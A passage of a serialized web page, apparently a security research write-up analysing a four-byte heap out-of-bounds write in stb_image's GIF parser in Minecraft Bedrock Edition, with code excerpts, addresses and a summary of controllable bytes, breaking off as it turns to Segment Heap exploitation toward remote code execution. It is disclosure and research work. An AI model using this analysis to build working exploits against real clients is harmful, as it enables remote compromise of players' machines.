"props":146878,"children":146879},{"style":765},[146880],{"type":26,"value":1063},{"type":20,"tag":315,"props":146882,"children":146883},{"style":328},[146884],{"type":26,"value":29989},{"type":20,"tag":315,"props":146886,"children":146887},{"class":317,"line":552},[146888,146892,146896,146900,146904,146908,146912,146916,146920],{"type":20,"tag":315,"props":146889,"children":146890},{"style":635},[146891],{"type":26,"value":146769},{"type":20,"tag":315,"props":146893,"children":146894},{"style":328},[146895],{"type":26,"value":2117},{"type":20,"tag":315,"props":146897,"children":146898},{"style":765},[146899],{"type":26,"value":15698},{"type":20,"tag":315,"props":146901,"children":146902},{"style":328},[146903],{"type":26,"value":7057},{"type":20,"tag":315,"props":146905,"children":146906},{"style":334},[146907],{"type":26,"value":337},{"type":20,"tag":315,"props":146909,"children":146910},{"style":635},[146911],{"type":26,"value":35861},{"type":20,"tag":315,"props":146913,"children":146914},{"style":328},[146915],{"type":26,"value":2117},{"type":20,"tag":315,"props":146917,"children":146918},{"style":765},[146919],{"type":26,"value":15698},{"type":20,"tag":315,"props":146921,"children":146922},{"style":328},[146923],{"type":26,"value":29989},{"type":20,"tag":315,"props":146925,"children":146926},{"class":317,"line":571},[146927],{"type":20,"tag":315,"props":146928,"children":146929},{"style":328},[146930],{"type":26,"value":33163},{"type":20,"tag":29,"props":146932,"children":146933},{},[146934,146936,146941,146943,146948],{"type":26,"value":146935},"This confirms ",{"type":20,"tag":119,"props":146937,"children":146939},{"className":146938},[],[146940],{"type":26,"value":74775},{"type":26,"value":146942}," is OOB for ",{"type":20,"tag":119,"props":146944,"children":146946},{"className":146945},[],[146947],{"type":26,"value":146426},{"type":26,"value":146949}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":20,"tag":29,"props":146951,"children":146952},{},[146953,146955,146961,146963,146970],{"type":26,"value":146954},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":20,"tag":119,"props":146956,"children":146958},{"className":146957},[],[146959],{"type":26,"value":146960},"g->color_table",{"type":26,"value":146962}," is populated by ",{"type":20,"tag":35,"props":146964,"children":146967},{"href":146965,"rel":146966},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[39],[146968],{"type":26,"value":146969},"stbi__gif_parse_colortable",{"type":26,"value":2884},{"type":20,"tag":305,"props":146972,"children":146974},{"code":146973,"language":1528,"meta":7,"className":14916,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[146975],{"type":20,"tag":119,"props":146976,"children":146977},{"__ignoreMap":7},[146978,146998,147018,147057,147073,147085,147092,147103,147146,147180,147211,147242,147299,147306],{"type":20,"tag":315,"props":146979,"children":146980},{"class":317,"line":318},[146981,146985,146989,146994],{"type":20,"tag":315,"props":146982,"children":146983},{"style":541},[146984],{"type":26,"value":49296},{"type":20,"tag":315,"props":146986,"children":146987},{"style":541},[146988],{"type":26,"value":49301},{"type":20,"tag":315,"props":146990,"children":146991},{"style":345},[146992],{"type":26,"value":146993}," stbi__gif_parse_colortable",{"type":20,"tag":315,"props":146995,"children":146996},{"style":328},[146997],{"type":26,"value":353},{"type":20,"tag":315,"props":146999,"children":147000},{"class":317,"line":356},[147001,147006,147010,147014],{"type":20,"tag":315,"props":147002,"children":147003},{"style":328},[147004],{"type":26,"value":147005}," stbi__context ",{"type":20,"tag":315,"props":147007,"children":147008},{"style":334},[147009],{"type":26,"value":901},{"type":20,"tag":315,"props":147011,"children":147012},{"style":635},[147013],{"type":26,"value":9052},{"type":20,"tag":315,"props":147015,"children":147016},{"style":328},[147017],{"type":26,"value":643},{"type":20,"tag":315,"props":147019,"children":147020},{"class":317,"line":365},[147021,147026,147031,147035,147039,147043,147047,147052],{"type":20,"tag":315,"props":147022,"children":147023},{"style":328},[147024],{"type":26,"value":147025}," stbi_uc ",{"type":20,"tag":315,"props":147027,"children":147028},{"style":635},[147029],{"type":26,"value":147030},"pal",{"type":20,"tag":315,"props":147032,"children":147033},{"style":328},[147034],{"type":26,"value":2117},{"type":20,"tag":315,"props":147036,"children":147037},{"style":765},[147038],{"type":26,"value":91553},{"type":20,"tag":315,"props":147040,"children":147041},{"style":328},[147042],{"type":26,"value":47209},{"type":20,"tag":315,"props":147044,"children":147045},{"style":765},[147046],{"type":26,"value":15931},{"type":20,"tag":315,"props":147048,"children":147049},{"style":328},[147050],{"type":26,"value":147051},"],",{"type":20,"tag":315,"props":147053,"children":147054},{"style":1071},[147055],{"type":26,"value":147056}," // g->color_table\n",{"type":20,"tag":315,"props":147058,"children":147059},{"class":317,"line":374},[147060,147064,147069],{"type":20,"tag":315,"props":147061,"children":147062},{"style":541},[147063],{"type":26,"value":17481},{"type":20,"tag":315,"props":147065,"children":147066},{"style":635},[147067],{"type":26,"value":147068}," num_entries",{"type":20,"tag":315,"props":147070,"children":147071},{"style":328},[147072],{"type":26,"value":643},{"type":20,"tag":315,"props":147074,"children":147075},{"class":317,"line":383},[147076,147080],{"type":20,"tag":315,"props":147077,"children":147078},{"style":541},[147079],{"type":26,"value":17481},{"type":20,"tag":315,"props":147081,"children":147082},{"style":328},[147083],{"type":26,"value":147084}," transp\n",{"type":20,"tag":315,"props":147086,"children":147087},{"class":317,"line":407},[147088],{"type":20,"tag":315,"props":147089,"children":147090},{"style":328},[147091],{"type":26,"value":549},{"type":20,"tag":315,"props":147093,"children":147094},{"class":317,"line":421},[147095,147099],{"type":20,"tag":315,"props":147096,"children":147097},{"style":541},[147098],{"type":26,"value":146147},{"type":20,"tag":315,"props":147100,"children":147101},{"style":328},[147102],{"type":26,"value":56217},{"type":20,"tag":315,"props":147104,"children":147105},{"class":317,"line":430},[147106,147111,147116,147120,147124,147128,147132,147137,147141],{"type":20,"tag":315,"props":147107,"children":147108},{"style":525},[147109],{"type":26,"value":147110}," for",{"type":20,"tag":315,"props":147112,"children":147113},{"style":328},[147114],{"type":26,"value":147115}," (i",{"type":20,"tag":315,"props":147117,"children":147118},{"style":334},[147119],{"type":26,"value":337},{"type":20,"tag":315,"props":147121,"children":147122},{"style":765},[147123],{"type":26,"value":1063},{"type":20,"tag":315,"props":147125,"children":147126},{"style":328},[147127],{"type":26,"value":49485},{"type":20,"tag":315,"props":147129,"children":147130},{"style":334},[147131],{"type":26,"value":4199},{"type":20,"tag":315,"props":147133,"children":147134},{"style":328},[147135],{"type":26,"value":147136}," num_entries; ",{"type":20,"tag":315,"props":147138,"children":147139},{"style":334},[147140],{"type":26,"value":49521},{"type":20,"tag":315,"props":147142,"children":147143},{"style":328},[147144],{"type":26,"value":147145},"i) {\n",{"type":20,"tag":315,"props":147147,"children":147148},{"class":317,"line":453},[147149,147154,147158,147162,147166,147170,147175],{"type":20,"tag":315,"props":147150,"children":147151},{"style":635},[147152],{"type":26,"value":147153}," pal",{"type":20,"tag":315,"props":147155,"children":147156},{"style":328},[147157],{"type":26,"value":58908},{"type":20,"tag":315,"props":147159,"children":147160},{"style":765},[147161],{"type":26,"value":1504},{"type":20,"tag":315,"props":147163,"children":147164},{"style":328},[147165],{"type":26,"value":7057},{"type":20,"tag":315,"props":147167,"children":147168},{"style":334},[147169],{"type":26,"value":337},{"type":20,"tag":315,"props":147171,"children":147172},{"style":345},[147173],{"type":26,"value":147174}," stbi__get8",{"type":20,"tag":315,"props":147176,"children":147177},{"style":328},[147178],{"type":26,"value":147179},"(s);\n",{"type":20,"tag":315,"props":147181,"children":147182},{"class":317,"line":486},[147183,147187,147191,147195,147199,147203,147207],{"type":20,"tag":315,"props":147184,"children":147185},{"style":635},[147186],{"type":26,"value":147153},{"type":20,"tag":315,"props":147188,"children":147189},{"style":328},[147190],{"type":26,"value":58908},{"type":20,"tag":315,"props":147192,"children":147193},{"style":765},[147194],{"type":26,"value":2406},{"type":20,"tag":315,"props":147196,"children":147197},{"style":328},[147198],{"type":26,"value":7057},{"type":20,"tag":315,"props":147200,"children":147201},{"style":334},[147202],{"type":26,"value":337},{"type":20,"tag":315,"props":147204,"children":147205},{"style":345},[147206],{"type":26,"value":147174},{"type":20,"tag":315,"props":147208,"children":147209},{"style":328},[147210],{"type":26,"value":147179},{"type":20,"tag":315,"props":147212,"children":147213},{"class":317,"line":499},[147214,147218,147222,147226,147230,147234,147238],{"type":20,"tag":315,"props":147215,"children":147216},{"style":635},[147217],{"type":26,"value":147153},{"type":20,"tag":315,"props":147219,"children":147220},{"style":328},[147221],{"type":26,"value":58908},{"type":20,"tag":315,"props":147223,"children":147224},{"style":765},[147225],{"type":26,"value":1063},{"type":20,"tag":315,"props":147227,"children":147228},{"style":328},[147229],{"type":26,"value":7057},{"type":20,"tag":315,"props":147231,"children":147232},{"style":334},[147233],{"type":26,"value":337},{"type":20,"tag":315,"props":147235,"children":147236},{"style":345},[147237],{"type":26,"value":147174},{"type":20,"tag":315,"props":147239,"children":147240},{"style":328},[147241],{"type":26,"value":147179},{"type":20,"tag":315,"props":147243,"children":147244},{"class":317,"line":513},[147245,147249,147253,147257,147261,147265,147270,147274,147278,147282,147286,147290,147295],{"type":20,"tag":315,"props":147246,"children":147247},{"style":635},[147248],{"type":26,"value":147153},{"type":20,"tag":315,"props":147250,"children":147251},{"style":328},[147252],{"type":26,"value":58908},{"type":20,"tag":315,"props":147254,"children":147255},{"style":765},[147256],{"type":26,"value":15698},{"type":20,"tag":315,"props":147258,"children":147259},{"style":328},[147260],{"type":26,"value":7057},{"type":20,"tag":315,"props":147262,"children":147263},{"style":334},[147264],{"type":26,"value":337},{"type":20,"tag":315,"props":147266,"children":147267},{"style":328},[147268],{"type":26,"value":147269}," transp ",{"type":20,"tag":315,"props":147271,"children":147272},{"style":334},[147273],{"type":26,"value":538},{"type":20,"tag":315,"props":147275,"children":147276},{"style":328},[147277],{"type":26,"value":52796},{"type":20,"tag":315,"props":147279,"children":147280},{"style":334},[147281],{"type":26,"value":1537},{"type":20,"tag":315,"props":147283,"children":147284},{"style":765},[147285],{"type":26,"value":985},{"type":20,"tag":315,"props":147287,"children":147288},{"style":334},[147289],{"type":26,"value":33531},{"type":20,"tag":315,"props":147291,"children":147292},{"style":765},[147293],{"type":26,"value":147294}," 255",{"type":20,"tag":315,"props":147296,"children":147297},{"style":328},[147298],{"type":26,"value":1405},{"type":20,"tag":315,"props":147300,"children":147301},{"class":317,"line":521},[147302],{"type":20,"tag":315,"props":147303,"children":147304},{"style":328},[147305],{"type":26,"value":33163},{"type":20,"tag":315,"props":147307,"children":147308},{"class":317,"line":552},[147309],{"type":20,"tag":315,"props":147310,"children":147311},{"style":328},[147312],{"type":26,"value":577},{"type":20,"tag":29,"props":147314,"children":147315},{},[147316,147318,147323,147324,147329,147331,147336],{"type":26,"value":147317},"The first three bytes are read from the input image, while the last byte can be either ",{"type":20,"tag":119,"props":147319,"children":147321},{"className":147320},[],[147322],{"type":26,"value":1063},{"type":26,"value":11534},{"type":20,"tag":119,"props":147325,"children":147327},{"className":147326},[],[147328],{"type":26,"value":111601},{"type":26,"value":147330},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":20,"tag":119,"props":147332,"children":147334},{"className":147333},[],[147335],{"type":26,"value":28262},{"type":26,"value":2884},{"type":20,"tag":305,"props":147338,"children":147340},{"code":147339,"language":1528,"meta":7,"className":14916,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[147341],{"type":20,"tag":119,"props":147342,"children":147343},{"__ignoreMap":7},[147344,147407,147446,147485,147524,147563,147602],{"type":20,"tag":315,"props":147345,"children":147346},{"class":317,"line":318},[147347,147351,147355,147359,147363,147367,147371,147375,147379,147383,147387,147391,147395,147399,147403],{"type":20,"tag":315,"props":147348,"children":147349},{"style":328},[147350],{"type":26,"value":146661},{"type":20,"tag":315,"props":147352,"children":147353},{"style":334},[147354],{"type":26,"value":337},{"type":20,"tag":315,"props":147356,"children":147357},{"style":334},[147358],{"type":26,"value":5536},{"type":20,"tag":315,"props":147360,"children":147361},{"style":328},[147362],{"type":26,"value":107556},{"type":20,"tag":315,"props":147364,"children":147365},{"style":334},[147366],{"type":26,"value":12158},{"type":20,"tag":315,"props":147368,"children":147369},{"style":635},[147370],{"type":26,"value":146682},{"type":20,"tag":315,"props":147372,"children":147373},{"style":328},[147374],{"type":26,"value":2117},{"type":20,"tag":315,"props":147376,"children":147377},{"style":635},[147378],{"type":26,"value":107556},{"type":20,"tag":315,"props":147380,"children":147381},{"style":328},[147382],{"type":26,"value":12158},{"type":20,"tag":315,"props":147384,"children":147385},{"style":635},[147386],{"type":26,"value":146699},{"type":20,"tag":315,"props":147388,"children":147389},{"style":328},[147390],{"type":26,"value":146704},{"type":20,"tag":315,"props":147392,"children":147393},{"style":635},[147394],{"type":26,"value":146709},{"type":20,"tag":315,"props":147396,"children":147397},{"style":334},[147398],{"type":26,"value":8216},{"type":20,"tag":315,"props":147400,"children":147401},{"style":765},[147402],{"type":26,"value":10146},{"type":20,"tag":315,"props":147404,"children":147405},{"style":328},[147406],{"type":26,"value":29989},{"type":20,"tag":315,"props":147408,"children":147409},{"class":317,"line":356},[147410,147414,147418,147422,147426,147430,147434,147438,147442],{"type":20,"tag":315,"props":147411,"children":147412},{"style":525},[147413],{"type":26,"value":50896},{"type":20,"tag":315,"props":147415,"children":147416},{"style":328},[147417],{"type":26,"value":463},{"type":20,"tag":315,"props":147419,"children":147420},{"style":635},[147421],{"type":26,"value":1528},{"type":20,"tag":315,"props":147423,"children":147424},{"style":328},[147425],{"type":26,"value":2117},{"type":20,"tag":315,"props":147427,"children":147428},{"style":765},[147429],{"type":26,"value":15698},{"type":20,"tag":315,"props":147431,"children":147432},{"style":328},[147433],{"type":26,"value":7057},{"type":20,"tag":315,"props":147435,"children":147436},{"style":334},[147437],{"type":26,"value":8862},{"type":20,"tag":315,"props":147439,"children":147440},{"style":765},[147441],{"type":26,"value":146757},{"type":20,"tag":315,"props":147443,"children":147444},{"style":328},[147445],{"type":26,"value":549},{"type":20,"tag":315,"props":147447,"children":147448},{"class":317,"line":365},[147449,147453,147457,147461,147465,147469,147473,147477,147481],{"type":20,"tag":315,"props":147450,"children":147451},{"style":635},[147452],{"type":26,"value":146769},{"type":20,"tag":315,"props":147454,"children":147455},{"style":328},[147456],{"type":26,"value":2117},{"type":20,"tag":315,"props":147458,"children":147459},{"style":765},[147460],{"type":26,"value":1063},{"type":20,"tag":315,"props":147462,"children":147463},{"style":328},[147464],{"type":26,"value":7057},{"type":20,"tag":315,"props":147466,"children":147467},{"style":334},[147468],{"type":26,"value":337},{"type":20,"tag":315,"props":147470,"children":147471},{"style":635},[147472],{"type":26,"value":35861},{"type":20,"tag":315,"props":147474,"children":147475},{"style":328},[147476],{"type":26,"value":2117},{"type":20,"tag":315,"props":147478,"children":147479},{"style":765},[147480],{"type":26,"value":1504},{"type":20,"tag":315,"props":147482,"children":147483},{"style":328},[147484],{"type":26,"value":29989},{"type":20,"tag":315,"props":147486,"children":147487},{"class":317,"line":374},[147488,147492,147496,147500,147504,147508,147512,147516,147520],{"type":20,"tag":315,"props":147489,"children":147490},{"style":635},[147491],{"type":26,"value":146769},{"type":20,"tag":315,"props":147493,"children":147494},{"style":328},[147495],{"type":26,"value":2117},{"type":20,"tag":315,"props":147497,"children":147498},{"style":765},[147499],{"type":26,"value":2406},{"type":20,"tag":315,"props":147501,"children":147502},{"style":328},[147503],{"type":26,"value":7057},{"type":20,"tag":315,"props":147505,"children":147506},{"style":334},[147507],{"type":26,"value":337},{"type":20,"tag":315,"props":147509,"children":147510},{"style":635},[147511],{"type":26,"value":35861},{"type":20,"tag":315,"props":147513,"children":147514},{"style":328},[147515],{"type":26,"value":2117},{"type":20,"tag":315,"props":147517,"children":147518},{"style":765},[147519],{"type":26,"value":2406},{"type":20,"tag":315,"props":147521,"children":147522},{"style":328},[147523],{"type":26,"value":29989},{"type":20,"tag":315,"props":147525,"children":147526},{"class":317,"line":383},[147527,147531,147535,147539,147543,147547,147551,147555,147559],{"type":20,"tag":315,"props":147528,"children":147529},{"style":635},[147530],{"type":26,"value":146769},{"type":20,"tag":315,"props":147532,"children":147533},{"style":328},[147534],{"type":26,"value":2117},{"type":20,"tag":315,"props":147536,"children":147537},{"style":765},[147538],{"type":26,"value":1504},{"type":20,"tag":315,"props":147540,"children":147541},{"style":328},[147542],{"type":26,"value":7057},{"type":20,"tag":315,"props":147544,"children":147545},{"style":334},[147546],{"type":26,"value":337},{"type":20,"tag":315,"props":147548,"children":147549},{"style":635},[147550],{"type":26,"value":35861},{"type":20,"tag":315,"props":147552,"children":147553},{"style":328},[147554],{"type":26,"value":2117},{"type":20,"tag":315,"props":147556,"children":147557},{"style":765},[147558],{"type":26,"value":1063},{"type":20,"tag":315,"props":147560,"children":147561},{"style":328},[147562],{"type":26,"value":29989},{"type":20,"tag":315,"props":147564,"children":147565},{"class":317,"line":407},[147566,147570,147574,147578,147582,147586,147590,147594,147598],{"type":20,"tag":315,"props":147567,"children":147568},{"style":635},[147569],{"type":26,"value":146769},{"type":20,"tag":315,"props":147571,"children":147572},{"style":328},[147573],{"type":26,"value":2117},{"type":20,"tag":315,"props":147575,"children":147576},{"style":765},[147577],{"type":26,"value":15698},{"type":20,"tag":315,"props":147579,"children":147580},{"style":328},[147581],{"type":26,"value":7057},{"type":20,"tag":315,"props":147583,"children":147584},{"style":334},[147585],{"type":26,"value":337},{"type":20,"tag":315,"props":147587,"children":147588},{"style":635},[147589],{"type":26,"value":35861},{"type":20,"tag":315,"props":147591,"children":147592},{"style":328},[147593],{"type":26,"value":2117},{"type":20,"tag":315,"props":147595,"children":147596},{"style":765},[147597],{"type":26,"value":15698},{"type":20,"tag":315,"props":147599,"children":147600},{"style":328},[147601],{"type":26,"value":29989},{"type":20,"tag":315,"props":147603,"children":147604},{"class":317,"line":421},[147605],{"type":20,"tag":315,"props":147606,"children":147607},{"style":328},[147608],{"type":26,"value":33163},{"type":20,"tag":29,"props":147610,"children":147611},{},[147612,147613,147618,147620,147625,147627,147632],{"type":26,"value":22431},{"type":20,"tag":119,"props":147614,"children":147616},{"className":147615},[],[147617],{"type":26,"value":146969},{"type":26,"value":147619}," has to set the last byte to ",{"type":20,"tag":119,"props":147621,"children":147623},{"className":147622},[],[147624],{"type":26,"value":111601},{"type":26,"value":147626}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":20,"tag":119,"props":147628,"children":147630},{"className":147629},[],[147631],{"type":26,"value":111601},{"type":26,"value":61},{"type":20,"tag":29,"props":147634,"children":147635},{},[147636,147638,147643,147645,147651,147652,147658],{"type":26,"value":147637},"In the code we can see that size of the ",{"type":20,"tag":119,"props":147639,"children":147641},{"className":147640},[],[147642],{"type":26,"value":146426},{"type":26,"value":147644}," allocation is controlled through ",{"type":20,"tag":119,"props":147646,"children":147648},{"className":147647},[],[147649],{"type":26,"value":147650},"g->w",{"type":26,"value":9392},{"type":20,"tag":119,"props":147653,"children":147655},{"className":147654},[],[147656],{"type":26,"value":147657},"g->h",{"type":26,"value":147659}," values, both of which are read from the input file itself:",{"type":20,"tag":305,"props":147661,"children":147663},{"code":147662,"language":1528,"meta":7,"className":14916,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[147664],{"type":20,"tag":119,"props":147665,"children":147666},{"__ignoreMap":7},[147667,147692,147699,147706,147741,147787],{"type":20,"tag":315,"props":147668,"children":147669},{"class":317,"line":318},[147670,147674,147679,147683,147687],{"type":20,"tag":315,"props":147671,"children":147672},{"style":541},[147673],{"type":26,"value":49296},{"type":20,"tag":315,"props":147675,"children":147676},{"style":328},[147677],{"type":26,"value":147678}," stbi_uc ",{"type":20,"tag":315,"props":147680,"children":147681},{"style":334},[147682],{"type":26,"value":901},{"type":20,"tag":315,"props":147684,"children":147685},{"style":345},[147686],{"type":26,"value":145605},{"type":20,"tag":315,"props":147688,"children":147689},{"style":328},[147690],{"type":26,"value":147691},"(...)\n",{"type":20,"tag":315,"props":147693,"children":147694},{"class":317,"line":356},[147695],{"type":20,"tag":315,"props":147696,"children":147697},{"style":328},[147698],{"type":26,"value":723},{"type":20,"tag":315,"props":147700,"children":147701},{"class":317,"line":365},[147702],{"type":20,"tag":315,"props":147703,"children":147704},{"style":328},[147705],{"type":26,"value":146167},{"type":20,"tag":315,"props":147707,"children":147708},{"class":317,"line":374},[147709,147713,147717,147721,147725,147729,147733,147737],{"type":20,"tag":315,"props":147710,"children":147711},{"style":525},[147712],{"type":26,"value":50896},{"type":20,"tag":315,"props":147714,"children":147715},{"style":328},[147716],{"type":26,"value":463},{"type":20,"tag":315,"props":147718,"children":147719},{"style":635},[147720],{"type":26,"value":107556},{"type":20,"tag":315,"props":147722,"children":147723},{"style":328},[147724],{"type":26,"value":12158},{"type":20,"tag":315,"props":147726,"children":147727},{"style":635},[147728],{"type":26,"value":116979},{"type":20,"tag":315,"props":147730,"children":147731},{"style":334},[147732],{"type":26,"value":1664},{"type":20,"tag":315,"props":147734,"children":147735},{"style":765},[147736],{"type":26,"value":985},{"type":20,"tag":315,"props":147738,"children":147739},{"style":328},[147740],{"type":26,"value":549},{"type":20,"tag":315,"props":147742,"children":147743},{"class":317,"line":383},[147744,147748,147752,147756,147761,147766,147770,147775,147779,147783],{"type":20,"tag":315,"props":147745,"children":147746},{"style":525},[147747],{"type":26,"value":37703},{"type":20,"tag":315,"props":147749,"children":147750},{"style":328},[147751],{"type":26,"value":463},{"type":20,"tag":315,"props":147753,"children":147754},{"style":334},[147755],{"type":26,"value":19025},{"type":20,"tag":315,"props":147757,"children":147758},{"style":345},[147759],{"type":26,"value":147760},"stbi__gif_header",{"type":20,"tag":315,"props":147762,"children":147763},{"style":328},[147764],{"type":26,"value":147765},"(s, g, comp,",{"type":20,"tag":315,"props":147767,"children":147768},{"style":765},[147769],{"type":26,"value":1063},{"type":20,"tag":315,"props":147771,"children":147772},{"style":328},[147773],{"type":26,"value":147774},")) ",{"type":20,"tag":315,"props":147776,"children":147777},{"style":525},[147778],{"type":26,"value":46708},{"type":20,"tag":315,"props":147780,"children":147781},{"style":765},[147782],{"type":26,"value":985},{"type":20,"tag":315,"props":147784,"children":147785},{"style":328},[147786],{"type":26,"value":1405},{"type":20,"tag":315,"props":147788,"children":147789},{"class":317,"line":407},[147790,147795,147799,147803,147807,147812,147816,147820,147825,147829,147833,147837,147841,147845,147849,147853,147857,147861,147865],{"type":20,"tag":315,"props":147791,"children":147792},{"style":635},[147793],{"type":26,"value":147794}," g",{"type":20,"tag":315,"props":147796,"children":147797},{"style":328},[147798],{"type":26,"value":12158},{"type":20,"tag":315,"props":147800,"children":147801},{"style":635},[147802],{"type":26,"value":116979},{"type":20,"tag":315,"props":147804,"children":147805},{"style":334},[147806],{"type":26,"value":1395},{"type":20,"tag":315,"props":147808,"children":147809},{"style":328},[147810],{"type":26,"value":147811}," (stbi_uc ",{"type":20,"tag":315,"props":147813,"children":147814},{"style":334},[147815],{"type":26,"value":901},{"type":20,"tag":315,"props":147817,"children":147818},{"style":328},[147819],{"type":26,"value":1468},{"type":20,"tag":315,"props":147821,"children":147822},{"style":345},[147823],{"type":26,"value":147824},"stbi__malloc",{"type":20,"tag":315,"props":147826,"children":147827},{"style":328},[147828],{"type":26,"value":1049},{"type":20,"tag":315,"props":147830,"children":147831},{"style":765},[147832],{"type":26,"value":15931},{"type":20,"tag":315,"props":147834,"children":147835},{"style":334},[147836],{"type":26,"value":8216},{"type":20,"tag":315,"props":147838,"children":147839},{"style":635},[147840],{"type":26,"value":146207},{"type":20,"tag":315,"props":147842,"children":147843},{"style":328},[147844],{"type":26,"value":12158},{"type":20,"tag":315,"props":147846,"children":147847},{"style":635},[147848],{"type":26,"value":47823},{"type":20,"tag":315,"props":147850,"children":147851},{"style":334},[147852],{"type":26,"value":8216},{"type":20,"tag":315,"props":147854,"children":147855},{"style":635},[147856],{"type":26,"value":146207},{"type":20,"tag":315,"props":147858,"children":147859},{"style":328},[147860],{"type":26,"value":12158},{"type":20,"tag":315,"props":147862,"children":147863},{"style":635},[147864],{"type":26,"value":82603},{"type":20,"tag":315,"props":147866,"children":147867},{"style":328},[147868],{"type":26,"value":2214},{"type":20,"tag":29,"props":147870,"children":147871},{},[147872,147874,147879,147881,147886],{"type":26,"value":147873},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":20,"tag":119,"props":147875,"children":147877},{"className":147876},[],[147878],{"type":26,"value":146426},{"type":26,"value":147880}," and the value of ",{"type":20,"tag":119,"props":147882,"children":147884},{"className":147883},[],[147885],{"type":26,"value":29},{"type":26,"value":147887}," just before the OOB write happens:",{"type":20,"tag":305,"props":147889,"children":147891},{"code":147890},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[147892],{"type":20,"tag":119,"props":147893,"children":147894},{"__ignoreMap":7},[147895],{"type":26,"value":147890},{"type":20,"tag":29,"props":147897,"children":147898},{},[147899,147901,147906,147908,147913],{"type":26,"value":147900},"There are multiple within-bound writes to ",{"type":20,"tag":119,"props":147902,"children":147904},{"className":147903},[],[147905],{"type":26,"value":29},{"type":26,"value":147907},", but the last write happens just after the ",{"type":20,"tag":119,"props":147909,"children":147911},{"className":147910},[],[147912],{"type":26,"value":146426},{"type":26,"value":147914}," allocation.",{"type":20,"tag":219,"props":147916,"children":147918},{"id":147917},"summarizing-the-corruption",[147919],{"type":26,"value":147920},"Summarizing the Corruption",{"type":20,"tag":15089,"props":147922,"children":147923},{},[147924,147937,147965],{"type":20,"tag":72,"props":147925,"children":147926},{},[147927,147929,147935],{"type":26,"value":147928},"A single ",{"type":20,"tag":119,"props":147930,"children":147932},{"className":147931},[],[147933],{"type":26,"value":147934},"0x01",{"type":26,"value":147936}," byte write OOB",{"type":20,"tag":72,"props":147938,"children":147939},{},[147940,147942],{"type":26,"value":147941},"4-byte OOB write just above the allocated buffer\n",{"type":20,"tag":15089,"props":147943,"children":147944},{},[147945,147950,147960],{"type":20,"tag":72,"props":147946,"children":147947},{},[147948],{"type":26,"value":147949},"First three bytes are controllable",{"type":20,"tag":72,"props":147951,"children":147952},{},[147953,147955],{"type":26,"value":147954},"Last byte will be ",{"type":20,"tag":119,"props":147956,"children":147958},{"className":147957},[],[147959],{"type":26,"value":111601},{"type":20,"tag":72,"props":147961,"children":147962},{},[147963],{"type":26,"value":147964},"Size of the allocation is controlled",{"type":20,"tag":72,"props":147966,"children":147967},{},[147968,147970],{"type":26,"value":147969},"Both corruptions are done on a short-lived allocation\n",{"type":20,"tag":15089,"props":147971,"children":147972},{},[147973,147978],{"type":20,"tag":72,"props":147974,"children":147975},{},[147976],{"type":26,"value":147977},"Allocated just before the image-parsing process",{"type":20,"tag":72,"props":147979,"children":147980},{},[147981],{"type":26,"value":147982},"Freed immediately upon parsing completion",{"type":20,"tag":17197,"props":147984,"children":147985},{},[],{"type":20,"tag":29,"props":147987,"children":147988},{},[147989,147991,147998,148000,148007],{"type":26,"value":147990},"Note that this bug was already found before (",{"type":20,"tag":35,"props":147992,"children":147995},{"href":147993,"rel":147994},"https://github.com/nothings/stb/issues/656",[39],[147996],{"type":26,"value":147997},"Github Issue",{"type":26,"value":147999},") but we missed it at the time. It was later fixed in ",{"type":20,"tag":35,"props":148001,"children":148004},{"href":148002,"rel":148003},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[39],[148005],{"type":26,"value":148006},"this commit",{"type":26,"value":61},{"type":20,"tag":21,"props":148009,"children":148010},{"id":3812},[148011],{"type":26,"value":3815},{"type":20,"tag":29,"props":148013,"children":148014},{},[148015],{"type":26,"value":148016},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":20,"tag":29,"props":148018,"children":148019},{},[148020],{"type":26,"value":148021},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":20,"tag":219,"props":148023,"children":148025},{"id":148024},"searching-for-better-primitives",[148026],{"type":26,"value":148027},"Searching for Better Primitives",{"type":20,"tag":29,"props":148029,"children":148030},{},[148031],{"type":26,"value":148032},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":20,"tag":29,"props":148034,"children":148035},{},[148036,148038,148045],{"type":26,"value":148037},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":20,"tag":35,"props":148039,"children":148042},{"href":148040,"rel":148041},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[39],[148043],{"type":26,"value":148044},"UWP",{"type":26,"value":148046}," applications (such as Minecraft Bedrock Edition).",{"type":20,"tag":219,"props":148048,"children":148050},{"id":148049},"segment-heap",[148051],{"type":26,"value":148052},"Segment Heap",{"type":20,"tag":29,"props":148054,"children":148055},{},[148056,148058,148065],{"type":26,"value":148057},"The internals of this heap implementation have been explored a number of times before (for an example in 